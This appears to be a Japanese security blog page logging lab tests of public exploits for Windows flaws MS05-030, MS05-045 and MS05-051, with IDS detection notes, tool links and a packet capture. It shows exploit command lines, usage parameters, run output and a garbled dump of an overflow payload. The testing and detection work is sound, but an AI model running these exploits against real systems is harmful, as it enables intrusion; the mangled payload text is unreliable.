つぶやき -30ページ目

【MS】MS05-030 Outlook Express NNTP BOF

■脆弱性の説明MS05-030

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-030.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS05-030

■実証コード

MS OE NNTP "LIST" Buffer Overflow (MS05-030) EXP
Credits: Bug found by iDEFENSE
coded by eyas < eyas at xfocus.org>
http://www.xfocus.net

Usage: MS05-030 <type>
[type]
0 win2k sp4 all language

C:\C>MS05-030 0
MS OE NNTP "LIST" Buffer Overflow (MS05-030) EXP
Credits: Bug found by iDEFENSE
coded by eyas < eyas at xfocus.org>
http://www.xfocus.net

[+] Listen on TCP 119.
[+] Connection accepted from 192.168.221.106:52742
[+] Send welcome information.
]+] Recv: [
[+] Send response.
[+] Recv: [
ﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌ
ﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌ
ﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌﾌ]
[+] send evil buff.
[+] close connection

・119ポートへ接続した場合

200
200
215 list
group aaaa・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8
x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x・・+8x1ﾉ・ｰﾙ顥t$《
・ﾈ>・・M#s~ﾞ7ﾁiGCRｲC{ｪｬｴ;・'ｵﾙ?Caｶ&#wC?xｧ:J第3怜#ﾊｭs・翊Caｲ&#X+Ψﾉ;ﾉﾕ
Cｷ
ﾔ_UZdﾖ+CN滑C~框ｰﾘ)$nim
Pｻ
ﾉs7・・ﾂｭw7靄ｮ-Xﾊﾀ<ﾃMﾊﾁFO7c粥ﾁ@t嬶ﾅt砧ﾕt7ⅱ
OﾙbAﾟOl$赳淬@MﾘoﾃﾘV2頑ﾗﾁﾘmﾃﾘVsnNwﾁﾘnﾂs效Fｴﾙ・ｱiiﾁFA｢ZｫSﾂ｢nﾏｷﾄM弦ﾃﾍ<ﾙ
撹
莚=権Lh彼ﾁ・7靉ﾄ堝ﾇﾁ｢?ﾇﾁ敍 徹"ﾀ ﾁ 7・ﾄ4ｽRC7霪ﾘV鎬ﾅﾘﾁF'ﾈ> 1
.

【MS】MS05-045Network Connection Manager Local DoS

■脆弱性の説明MS05-045

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-045.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS05-045

■実証コード

C:\C>MS05-045
Windows Netman Service Local DOS Vulnerability..

DCOM Client Trying started
Exploit netman service ....
Call client proc failed:1008
Client exited.

■IDS

ローカルへの攻撃の為、検知結果なし

【MS】MS05-051 Distributed Transaction Coordinator

■脆弱性の説明MS05-051

http://www.microsoft.com/japan/technet/security/Bulletin/MS05-051.mspx

http://xforce.iss.net/xforce/bulletins/microsoft/MS05-051

■実証コード

　　　　 Win2000SP4 日本語 →　失敗

C:\>ms05-051.exe
-=[ SST ]=------------------------------------
MSDTC Arbitrary Opposite Memory Write Flaw
----------------------------------------------
Usage:
ms05-051.exe [Taget IP] [Target Port] [Your IP] [Your Port] S

type:
0 Write NdrserverCall2 pointer From 0x990058
1 Write NdrserverCall2 pointer From 0x980058

C:\>ms05-051.exe 192.168.221.180 1025 192.168.221.11 6666 0 S
(^_^) Start exploiting journey!
Target not support! Quiting....
C:\>ms050-51.exe 192.168.221.180 1025 192.168.221.11 6666 1 S
(^_^) Start exploiting journey!
Target not support! Quiting....

Win2000SP4 英語 →　成功

C:\C>ms05-051.exe 192.168.221.180 1025 192.168.221.11 80 2 S
(^_^) Start exploiting journey!
(^_^) Context built!
(^_^) Function pointer wrote!
(*_*) Trigger fault...Done!
(*_*) Any shell?
C:\C>

C:\C>ms05-051.exe 192.168.221.180 1025 192.168.221.11 80 1 S
(^_^) Start exploiting journey!
(^_^) Context built!
(^_^) Function pointer wrote!
(*_*) Trigger fault...Done!
(*_*) Any shell?
C:\C>

■影響

http://grin.flagbind.jp/archives/2005/12/02/index.html

■Proventia

MSRPC_MSDTC_Message_BO

http://ameblo.jp/amaterasu/entry-10007397118.html

2005-12-25 22:45:33 JST	MSRPC_MSDTC_Message_BO	1749127616	0x7	3
2005-12-25 22:45:56 JST	MSRPC_MSDTC_Message_BO	1739166056	0x7	3

■Snort

検知なし

【ツール】気になる便利ツール

■脆弱性ピンポイントスキャンツール

Eeye：http://www.eeye.com/html/resources/downloads/audits/index.html

Foundstone：http://www.foundstone.com/resources/freetools.htm

■Whoppix

SLAXベース：http://iwhax.net/modules/news/

Whoppix 2.7：http://www.whoppix.net/

■ブログ

複数Weblog投稿ソフト：http://blog.ubicast.com/

■実証コード検証結果

http://grin.flagbind.jp/archives/exploit/index.html

【Proventia】MSRPC_MSDTC_Message_BO

■シグネチャの説明

http://xforce.iss.net/xforce/xfdb/22467

■Proventiaでの検知(IDS)

■MS05-051スキャンツール

http://www.foundstone.com/resources/freetooldownload.htm?file=MS05051Scan.zip

■パケット

No. Time Source Destination Protocol Info
203 2005-12-12 09:18:55.591631 211.91.125.137 192.168.37.180 TCP 6000 > 1025 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1414

Frame 203 (58 bytes on wire, 58 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 6000 (6000), Dst Port: 1025 (1025), Seq: 0, Ack: 0, Len: 0

No. Time Source Destination Protocol Info
204 2005-12-12 09:18:55.592299 192.168.37.180 211.91.125.137 TCP 1025 > 6000 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 204 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 6000 (6000), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
205 2005-12-12 09:18:58.822890 192.168.37.180 211.91.125.137 TCP 1025 > 6000 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 205 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 6000 (6000), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
211 2005-12-12 09:19:05.401692 192.168.37.180 211.91.125.137 TCP 1025 > 6000 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 211 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 6000 (6000), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
212 2005-12-12 09:19:34.724297 211.91.125.137 192.168.37.180 TCP 6000 > 1025 [RST] Seq=1 Ack=1077123615 Win=0 Len=0

Frame 212 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 6000 (6000), Dst Port: 1025 (1025), Seq: 1, Ack: 1077123615, Len: 0

No. Time Source Destination Protocol Info
220 2005-12-12 09:20:37.130134 211.91.125.137 192.168.37.180 TCP 2193 > 1025 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1414

Frame 220 (62 bytes on wire, 62 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 0, Ack: 0, Len: 0

No. Time Source Destination Protocol Info
221 2005-12-12 09:20:37.130972 192.168.37.180 211.91.125.137 TCP 1025 > 2193 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

Frame 221 (62 bytes on wire, 62 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 2193 (2193), Seq: 0, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
222 2005-12-12 09:20:37.380023 211.91.125.137 192.168.37.180 TCP 2193 > 1025 [ACK] Seq=1 Ack=1 Win=16968 Len=0

Frame 222 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 1, Ack: 1, Len: 0

No. Time Source Destination Protocol Info
223 2005-12-12 09:20:37.450308 211.91.125.137 192.168.37.180 DCERPC Bind: call_id: 1 UUID: 906b0ce0-c70b-1067-b317-00dd010662da ver 1.0

Frame 223 (126 bytes on wire, 126 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 1, Ack: 1, Len: 72
DCE RPC

No. Time Source Destination Protocol Info
224 2005-12-12 09:20:37.452475 192.168.37.180 211.91.125.137 DCERPC Bind_ack: call_id: 1 accept max_xmit: 5840 max_recv: 5840

Frame 224 (114 bytes on wire, 114 bytes captured)
Ethernet II, Src: 00:0c:29:5f:e0:5b, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.180 (192.168.37.180), Dst Addr: 211.91.125.137 (211.91.125.137)
Transmission Control Protocol, Src Port: 1025 (1025), Dst Port: 2193 (2193), Seq: 1, Ack: 73, Len: 60
DCE RPC

No. Time Source Destination Protocol Info
225 2005-12-12 09:20:37.706247 211.91.125.137 192.168.37.180 DCERPC Request: call_id: 1[Unreassembled Packet]

Frame 225 (1078 bytes on wire, 1078 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:5f:e0:5b
Internet Protocol, Src Addr: 211.91.125.137 (211.91.125.137), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2193 (2193), Dst Port: 1025 (1025), Seq: 73, Ack: 61, Len: 1024
[Unreassembled Packet: DCERPC]
Data (1024 bytes)

0000 05 00 00 83 10 00 00 00 2c 05 00 00 01 00 00 00 ........,.......
0010 04 05 00 00 00 00 07 00 e0 0c 6b 90 0b c7 67 10 ..........k...g.
0020 b3 17 00 dd 01 06 62 da 00 00 00 00 00 00 00 00 ......b.........
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 06 00 00 00 00 00 00 00 06 00 00 00 ................
0050 31 00 31 00 31 00 31 00 31 00 00 00 07 00 00 00 1.1.1.1.1.......
0060 00 00 00 00 07 00 00 00 31 00 31 00 31 00 31 00 ........1.1.1.1.
0070 31 00 31 00 00 00 00 00 58 02 00 00 00 00 00 00 1.1.....X.......
0080 2b 02 00 00 cc cc cc cc cc 00 cc 00 cc 00 cc 00 +...............
0090 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
00f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0100 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0110 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0120 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0130 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0140 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0150 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0160 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0170 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0180 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0190 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
01f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0200 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0210 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0220 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0230 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0240 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0250 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0260 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0270 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0280 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0290 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02a0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02b0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02c0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02d0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02e0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
02f0 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
0300 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 cc 00 ................
